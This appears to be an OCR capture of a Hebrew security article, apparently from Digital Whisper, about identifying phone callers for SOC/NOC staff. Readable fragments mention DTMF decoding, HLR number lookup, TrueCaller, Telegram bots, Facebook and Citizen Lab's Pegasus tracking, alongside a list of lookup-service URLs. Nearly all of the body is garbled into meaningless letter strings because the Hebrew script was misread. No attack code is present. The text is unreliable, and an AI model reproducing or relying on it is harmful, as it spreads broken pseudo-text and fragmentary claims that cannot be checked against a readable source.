D'7"'N ,DMYIN (1970 11900 7V VTN 9I0K7 DI NNYONN
DI' [9INQ NIV DAY DIPNNA D'TAY 7W DUY'R D'09I

.DINX DN'N WK IR NNDAX NIXY9 2V W yTn e

PN Y VTN NNLVAXR 7Y D71Y7 D2 'O NRNAN

D1PNNA [INV2 ¥ 9N NIND X7 X N1ID70 NIPWN

7Ynl ninani n'van

Vi nxyp

Decoded

7201 VT' NNVAX 7w YWna SOC/NOC > niN'nn '1o71 ,0aN2 IX 0770 NIYWA ViAW '910]
NIN'Y DYAYN DN DMWY ,NNYNAINA NIDNN DYD X7 D'72V19 DNINX D07 [INV TR DA X

JaDN 7w TN WO 2'TOINYT NIO1dIN (1970

DA NI'AT 72V WMY7? 1N TA7 Ty XINY IR ,NPAN 1TNNA PNINNA 72X 7NN X¥N1 D'AY9Y7 DN
DN 7907 Qnivnn N1 X¥nd 7901w a1 7Y 1a1Tn 0'ys? rod I awnnn 7in X7 XIn DX
I7¢ 1'wONN NKXK 91N DA 72X ,NIYMAL NIMT 17 AWONNA TN (19700 ,2A¥NN NTY NTNAY NIN

.N9'PN NAIMDY

! https://www.digitalwhisper.co.il/Ox3E/

NOC/SOCN9'7n 197 |'v'TIN qI0*'X NIX7 DTMF N1yona win'y
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"7'¥7 IN 0270 YT NNVAK 'WIR ,N1I970 NIdWYN 7V NO0IANY NU'Y NI'A NN'Y N'MONY TNKN
TIX¥ YU' DNAY D'A¥YN] NLAINA X7 wimm ¥ NI'2"2wn nidwn? #'son D'wTin X7 ,010 |INVA

.NN'Y N'M95N 71YON

DI7N2 NI7NINNN 7w N9'WNYT DAl ,L,D'TAIVN 7Y NI'0N9NI'WIRD [INVY7 DA NA7IWN D120 7V "aIm

ANXY |7NnNnal 1nn '8 NIN'WNI

WX Y SOCa a'¥a 7V 00 D'V 7277 'MN7¥N NRAN DX 2IMDY7 MIK YINY Dpnd N'YUN

.NNLAX NXI9 7V YNNI "MIYpPNNY INXRY NRTEL,N?'? DNNnwna Tay

NN LNID'R NN0N DI DAY NIFY DDNY N7YW RYINN DT ,SOC/NOC 'tDn 9w awpzna
NIYARN DIYINN 2V N2 '0NR YT 737 117 "WORND DN D'TAIVY D'WIRT IX DNYR NN7XIN
YTNYI1 [7NNN 2107 DXNN INR W2 VTN NN AT DN WK LTV DRIN K71 NNIRY NIX19Y

.MI' 01" 91X 12 "N

7¥ awnn 2mY7 'YK DNIR VAVYT YT NINT X217 710 XINL|PNN D'TAIVAN 7V YT qpINT W' DX
[DIX] WA VTN DX 7907 TAIWN DX IX'Y DNNKR NI0'YIE DAIFK NV'N0Y WNNWNT7 IX ,NTIAVN

SNNXY

IRW 19700V 2IYI AW NPDYWYI 12102 POYNNYT ,OTIR [KD NN 1I970nY NRDWY 77 TIKN ,0'My9Y
N121970N DX NIPTANNY NIF7NNAY INRN .DNXD NIYTNE NNDY' NI9PNAY nun ainnni 1N
D'7WD |'A™ N2TA - 1AToN IXK YT NNVAR NIF7Nnnl IT an NITI9) DYS X7 [0 ,0710K

JNIX 97007 NYRI DY 119700 NIDYNA D'AYSY71,0'N>YN

%w Ni7'wo Dpiol NSO NNaNa AW 0 Trnnn 0N 1w Citizen Lab? 7w qon Inxn DONID NINNKY
N7 112007 TWONN KIN D ,NTN IIKAN DX 2NIK X .071IV0 'ANNa DT (1970 'win NpaTn
0’27 0'019I (19700 190N NY'T ,NMNID'R NIVA 9IPNY NXN INYMWD NnYi,non DN (1970 N0N

210N NI AR DPATN QRINT AWORN Y1'WOnn ya

% https://citizenlab.ca/2018/09/hide-and-seek-tracking-nso-groups-pegasus-spyware-to-operations-in-45-countries/
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?D'9771IN 'N TN

MIYpPN NIX? IR SOC/NOC-n 7In NNLAX NIXID 7V YNNY O WWPNn 1IN DAY NKY
nirnY? 2191 ;0N TN (1970 150N7 NANRN AN'YN L,0NNX DN TR 7MY IR Nailon
T 'won IR L(7'792 DX NITNIM NN 7' X7 Dy9 XY 1'won) RN Y WK T 190N D9 KXY

unnn [DINA [PNN2 N'T'D X¥NAI,0N'' Naving DN 7707 qnivnn

I'7NW 190NN NX DA™ NTYN K'Y ,NNTINN W 0'7'7%N DR YNy pinn ,nN'wn NNAvn N1

.NN'Yn N"19in

2V ,90nn 7y yTnm Qo7 y'wnni L1970 77 7w nnys? noivnld wnnwn ginn ar A7va
AYON'Y NIANI WK 71N 200 10019 L,17W DUWIRDE D1M70'ATR D'0I9NT [7NNA TAN 7V wonn

.TIVE VNN 7Y Namn ,0M1an NAIND ,NXM97 NNVN7 IX 90N YT 9I0'NRY

:010'oa ATIY "D

JIPmn 7w 19700 1900 e
27 19702 ¥p7ex IX “nnin *ndim ntva winm [ 190 19X 7w Nnps nown - e
l1970n 1900 v 901 yTN N7 NN'W HLR Lookup MN'wa win'w e

DY "N NIM'9A Telegram NiN'w D W' TrueCaller D '9IN'W DRID7V 190 7W NI'Y7'79X o

1901 MIPNN WNT? *72an (1970 N9%0n 7 yT'n N2 'WoKN TWR "@HelpHebBO"

VT DI'o NN Iwn? 722awa 1970 M%0n 7y Ni7pa 00 0'019 NR9'o Ny Facebook e
NIPNNN NXYT TN 1970 1900 7p2 IRIVYMIL N 'T'O 'WON 7Y NIYRY79RN NIX 'PNNYT TWON
M7N2 NRTI Y70 Wi wRd 1Y'91' 190NN 7Y 0'019 ,011970N 1907 NYA NIRYIN NNl

.OY RXN1 DX NINY

.WhatsApp N1DIN NT 190NN WI9'N e

® http://www.polar-electric.com/DTMF/Index.htm

* http://thespystore.com/dtmf-tone-decoder-dtmf1

> https://play.google.com/store/apps/details id=com.encapsystems.dtmf

® https://play.google.com/store/apps/details?id=srl.mobsoft.phonenumberlookup
https://phonenumber-lookup.info/
http://www.txtnation.com/mobile-messaging/hlr-number-lookup/
https://www.hlrlookup.com/validator
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https://play.google.com/store/apps/details?id=srl.mobsoft.phonenumberlookup
https://phonenumber-lookup.info/
http://www.txtnation.com/mobile-messaging/hlr-number-lookup/
https://www.hlrlookup.com/validator
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:DNAYNY TINNA PN LI7X NIKIIN 'D7 DNTAVIE NNINA
VIS 0OY e

T I970 10N e

NN IN'0ND 7'MIN e

Facebook 791N e

NN W nnmn e

U DN NN e

T NPT TN I9700 V'YW TAIYN W RN NAIMD DR QIPNYT 7100 YIXRNYI019 qRIn 'Ydy

.Tiv1 Facebook-n 7'9119% nyTIn

N2 207N 707 NTN YNAY O AWINY VT WANWNYT N 7100 1IRNI0I9 97N DD N1'Nan
TIX7 'T'ON D71V NITPNRNAY DNNX NIV'Y I NWR D0'N0 IX? VTN win'y |, T awnn

VTN no'un

Tay 7V "It DX DAY D 12'20NY D'TAIVA DX DY9 X7 1770 ,Tavn 7w p'niann n'avnn
N712'1 ,N20N 7Y 901 VT §I0'K TWORN NODONIY N'¥XNNIDI'RN NITINA D220 DY - WA [7hna

AN ANIRN NTRINN ﬁDP]‘IYJ'?

nid'o

DN7w 71v9nn ¢ niv'wnl ,071vn AN ot 0NN Tz DA D CERT-1 NOC ,SOC 'mn

.DY9 X7 |nxy 72y nNTIN

NIYTI'Y NIMIX NIYYPA9 IR DTN NN 7w RN TXD NIKYY 79010 ,VTN NNLVAX 7¥ Twpna
INIX NIOIN ,NTIY TN NNPNY Q1Y 'RTD AT 12,NIY7 N1wn INIF 0'¥I91 NIXI9 7y DnivT 727
NNIYA NIMMYNN W1 DNAY D'TAIVN 7V [an7 w' D71, TN DMK NN0NY7 1AW DY TAIVN NI

AN NMIxa

N1'Nn NM0N DYNAN DN 'TOINY N1aNN , TR |27 27 N2'D NFMIIARN NI970N 'MN'Y Y nNYpn

.0"0AI7N DIIANA NIVY7NN II71|'I)’J 7V V'owr XINY NN IR NTH MNMXNN NN0N

MNnn 7y

MaINN DY'YON NIYZIN XYW DN L0y 'Y TN v 7ba ,yTn NNVAXR IN [T MM
.TIVE NIFADIVOXR NIMWN NO'PN KWIIA 'RNTPR 1NN ,N1I970 NIdIYNIY NIYWRIN L[19701 U1NVI'R
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